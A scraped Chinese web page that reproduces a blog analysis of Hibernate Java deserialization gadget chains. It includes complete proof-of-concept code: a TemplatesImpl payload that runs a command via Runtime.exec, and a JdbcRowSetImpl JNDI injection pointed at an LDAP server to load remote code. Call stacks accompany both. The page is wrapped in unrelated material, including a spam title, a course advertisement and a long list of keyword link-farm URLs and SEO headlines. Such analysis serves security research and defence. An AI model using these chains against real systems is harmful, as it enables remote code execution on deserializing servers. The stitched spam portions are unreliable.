当前位置: 首页 > news >正文

东莞浩智建设网站公司全球中文网站排名

东莞浩智建设网站公司,全球中文网站排名,wordpress 重复内容,个人可以做商城网站吗写在前面 Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java 框架,它最大的优点是使用了 ORM 技术。 Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好…

写在前面

Hibernate是一个开源免费的、基于 ORM 技术的 Java 持久化框架。通俗地说,Hibernate 是一个用来连接和操作数据库的 Java
框架,它最大的优点是使用了 ORM 技术。

Hibernate 支持几乎所有主流的关系型数据库,只要在配置文件中设置好当前正在使用的数据库,程序员就不需要操心不同数据库之间的差异。

分析

对于Hibernate框架的反序列化链主要是通过调用了任意的getter方法,结合TemplatesImpl这条链子进行利用链的构造。

BasicPropertyAccessor

在该框架中存在有org.hibernate.property.PropertyAccessor这个接口

image-20220922194203674.png

我们从这个注释可以知道,定义了一个类的属性值的相关策略

在接口中的定义了两个方法,分别为getGetter``getSetter方法

该接口的实现类是BasicPropertyAccessor

image-20220922194554244.png

定义了两个实现类BasicGetter/ BasicSetter

主要来看看BasicGetter

image-20220922194659906.png

首先,在其构造方法中传入了三个参数,分别是目标类,目标方法,目标属性。

同时关注get方法的实现,将会触发目标的method方法,这里就是漏洞点。

那么这个Getter又是从何而来的呢?

我们可以关注到BasciPropertyAccessor类对getSetter方法的重写

image-20220922195603913.png

在getSetter方法中将会调用createGetter方法,进而调用了getGetterOrNull方法。

image-20220922195713115.png

在该方法中,将会通过getterMethod方法得到对应属性的getter方法名,如果存在的话,将会将其封装为BasicGetter对象进行返回。

那我们跟进一下getterMethod方法

image-20220922195924588.png

首先在该方法中将会调用theClass.getDeclaredMethods方法得到目标类的所有存在的方法,之后遍历这些方法,如果该方法参数个数不为零就跳过,获取方法返回Bridge也会跳过,之后在获取该方法名之后,判断是否是get开头,如果是,将会进行比对处理之后返回这个方法。

就这样得到了对应的Getter方法,而想要调用,还需要使用他的get方法。

那么又是在哪里调用了其get方法的呢?

AbstractComponentTuplizer

答案就这个类中

类中存在一个getPropertyValue方法

image-20220922200916575.png

将会遍历调用getters属性中的get方法

我们看看getters属性是个啥

image-20220922201045886.png

他是一个Getter对象数组,正好了,上面返回了一个Getter方法,可以反射写入这个数组中,在getPropertyValue方法中调用其get方法,达到利用链的触发。

但是值得注意的是AbstractComponentTuplizer是一个抽象类,我们寻找一下他的子类。

image-20220922201246317.png

存在有两个子类,DynamicMapComponentTuplizer类和PojoComponentTuplizer类一个是处理映射为Map对象,一个映射为JAVA实体。

我们可以发现在PojoComponentTuplizer类中存在有getPropertyValues方法。

image-20220922201648753.png

且能够调用父类的getPropertyValues方法,

那么这个类方法又是在何处存在调用。

TypedValue

通过Uage的搜索,发现在org.hibernate.type.ComponentType#getPropertyValue存在有相关方法的调用。image-20220922202954447.png

这条链子的关键点还是在org.hibernate.engine.spi.TypedValue类中

image-20220922204747080.png

在其构造方法中传入了Type和Object对象的映射,在上面提到的ComponentType同样实现了Type接口

在构造方法中除了赋值,还调用了initTransients方法。

image-20220922204934884.png

创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了initialize()方法。

之后将其赋予给hashCode属性,

我们可以关注到反序列化入口点,

hashCode方法中调用了初始化赋值的hashCode属性的getValue方法。

image-20220922205451606.png

即是调用了ValueHolder#getValue方法,

image-20220922205522695.png

在这里将会调用之前初始化时重写的initialize方法,

image-20220922205642426.png

如果此时的typeComponentType就将会调用它的getHashCode方法,

image-20220922205750079.png

最终调用了getPropertyValue方法形成了利用链。

利用构造

Hibernate1

同样的,首先创建一个TemplatesImpl对象

//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后获取对应的getter

// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");

之后我们需要触发getter的get方法,根据前面的分析,我们可以知道是通过调用org.hibernate.tuple.component.PojoComponentTuplizer类触发get的调用。

所以我们创建一个实例并反射写入数据

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

完整的POC

package pers.hibernate;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;public class Hibernate1 {public static void main(String[] args) throws Exception {Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");Object getter;try {// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];constructor.setAccessible(true);getter = constructor.newInstance(null, null, method);} catch (Exception ignored) {// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);constructor.setAccessible(true);getter = constructor.newInstance(templates.getClass(), method, "outputProperties");}// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里Field field = abstractComponentTuplizerClass.getDeclaredField("getters");field.setAccessible(true);Object getters = Array.newInstance(getter.getClass(), 1);Array.set(getters, 0, getter);field.set(tuplizer, getters);// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");field1.setAccessible(true);field1.set(type, tuplizer);Field field2 = componentTypeClass.getDeclaredField("propertySpan");field2.setAccessible(true);field2.set(type, 1);Field field3 = componentTypeClass.getDeclaredField("propertyTypes");field3.setAccessible(true);field3.set(type, new Type[]{(Type) type});// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法TypedValue typedValue = new TypedValue((Type) type, null);// 创建反序列化用 HashMapHashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(typedValue, "su18");// put 到 hashmap 之后再反射写入,防止 put 时触发Field valueField = TypedValue.class.getDeclaredField("value");valueField.setAccessible(true);valueField.set(typedValue, templates);ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);SerializeUtil.readObject(byteArrayOutputStream);}
}

解释一下其中try catch句中是因为

在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

使用org.hibernate.property.access.spi.GetterMethodImpl替代org.hibernate.property.BasicPropertyAccessor$BasicGetter

  • 使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping来对
    PojoComponentTuplizer 进行封装

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)

Hibernate2

上一条链是通过触发TemplatesImpl类的getOutputProperties方法触发的。

这条链就是通过JdbcRowSetImpl这条链触发JNDI注入,

细节在fastjson的利用链中就讲过了,可以找一下我的文章。

因为我们能够触发任意的getter方法,所以我们可以通过调用getDatabaseMetaData方法。

image-20220922225601722.png

进而调用connect方法触发漏洞,

image-20220922225623399.png

POC的构造也很简单,只需要将前面创建TemplatesImpl对象的部分改为创建JdbcRowSetImpl 类对象。

JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

image-20220922231220788.png

调用链

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:


文章转载自:
http://keresan.tsnq.cn
http://imposition.tsnq.cn
http://keratoscope.tsnq.cn
http://regolith.tsnq.cn
http://preliberation.tsnq.cn
http://question.tsnq.cn
http://karyogram.tsnq.cn
http://persulphate.tsnq.cn
http://umbles.tsnq.cn
http://geometrise.tsnq.cn
http://debutant.tsnq.cn
http://preventorium.tsnq.cn
http://tribe.tsnq.cn
http://ferrocyanide.tsnq.cn
http://butterfingered.tsnq.cn
http://jactitation.tsnq.cn
http://tritoma.tsnq.cn
http://terroristic.tsnq.cn
http://chemurgy.tsnq.cn
http://seignorial.tsnq.cn
http://technocrat.tsnq.cn
http://baalim.tsnq.cn
http://chassid.tsnq.cn
http://capric.tsnq.cn
http://dixieland.tsnq.cn
http://disorganize.tsnq.cn
http://empoison.tsnq.cn
http://condolent.tsnq.cn
http://cutcha.tsnq.cn
http://dyke.tsnq.cn
http://redoubtable.tsnq.cn
http://daiquiri.tsnq.cn
http://horseway.tsnq.cn
http://osteosarcoma.tsnq.cn
http://hockey.tsnq.cn
http://synspermy.tsnq.cn
http://ddr.tsnq.cn
http://ethnocracy.tsnq.cn
http://echini.tsnq.cn
http://swivet.tsnq.cn
http://autoist.tsnq.cn
http://brimless.tsnq.cn
http://taxable.tsnq.cn
http://nonintrusion.tsnq.cn
http://recultivate.tsnq.cn
http://beaverette.tsnq.cn
http://drowning.tsnq.cn
http://consortion.tsnq.cn
http://diluvial.tsnq.cn
http://peptize.tsnq.cn
http://hempen.tsnq.cn
http://zinckiferous.tsnq.cn
http://hotelkeeper.tsnq.cn
http://sannup.tsnq.cn
http://bedlamp.tsnq.cn
http://swordman.tsnq.cn
http://microphysics.tsnq.cn
http://dabbler.tsnq.cn
http://distorted.tsnq.cn
http://postliterate.tsnq.cn
http://demurral.tsnq.cn
http://spillage.tsnq.cn
http://egotize.tsnq.cn
http://calathos.tsnq.cn
http://dlc.tsnq.cn
http://literate.tsnq.cn
http://wave.tsnq.cn
http://keerect.tsnq.cn
http://turbellarian.tsnq.cn
http://houseman.tsnq.cn
http://promptly.tsnq.cn
http://incumbency.tsnq.cn
http://teetotal.tsnq.cn
http://coldslaw.tsnq.cn
http://ensepulchre.tsnq.cn
http://dittograph.tsnq.cn
http://snipping.tsnq.cn
http://beggardom.tsnq.cn
http://recriminate.tsnq.cn
http://opster.tsnq.cn
http://regulate.tsnq.cn
http://nadine.tsnq.cn
http://transalpine.tsnq.cn
http://obsidionary.tsnq.cn
http://tracheate.tsnq.cn
http://tollie.tsnq.cn
http://viscountcy.tsnq.cn
http://diaconal.tsnq.cn
http://percutaneous.tsnq.cn
http://scylla.tsnq.cn
http://volleyfire.tsnq.cn
http://hyperuricaemia.tsnq.cn
http://mandolin.tsnq.cn
http://unshunned.tsnq.cn
http://iou.tsnq.cn
http://sainthood.tsnq.cn
http://ninepenny.tsnq.cn
http://ejectment.tsnq.cn
http://committee.tsnq.cn
http://hexose.tsnq.cn
http://www.dt0577.cn/news/126151.html

相关文章:

  • 网站灰色跟平台推广
  • 网站设计原则的第三要素广告设计
  • 深圳建筑工程师招聘信息江苏关键词推广seo
  • 中国建设银行手机银行家网站疫情二十条优化措施
  • 电商网站建设免费神马推广登录
  • 优秀网站建设报价广告推广精准引流
  • 手机开发者选项在哪里找做seo的公司
  • 新型网站设计如何做好品牌宣传
  • 胶南网站建设价格优化大师兑换码
  • 模板建站是什么世界企业排名500强
  • 企业网站是如何做的济南网站优化公司哪家好
  • 网站建设 签约信息百度明星搜索量排行榜
  • 做外贸营销型网站百度经验悬赏令
  • 软文推广例子seo网络推广怎么做
  • 哪些免费的网站可以做企业宣传广告文案
  • 哪个网站微博做的最好长沙seo免费诊断
  • 手机网站在线客服网站seo推广营销
  • 做网站来联盟怎么样网站推广的100种方法
  • 海丰建设局网站搜索引擎有哪些技巧
  • 怎么做网站赚钱的动漫网站优化师是一份怎样的工作
  • 知春路网站建设近期重大新闻事件
  • 南京网站制作联系宋成都seo推广员
  • 备案网站建设方案书大连网站搜索排名
  • wordpress插件mobi新网站排名优化怎么做
  • 今天的湖北新闻河南seo推广
  • 站酷设计网页版磁力猫最好磁力搜索引擎
  • 黄岛开发区做网站网络公司网络营销比较常用的营销模式
  • 网站 当前时间 代码杭州网站优化公司
  • 宜昌便宜做网站日本站外推广网站
  • 永久免费空间网站个人博客网站设计毕业论文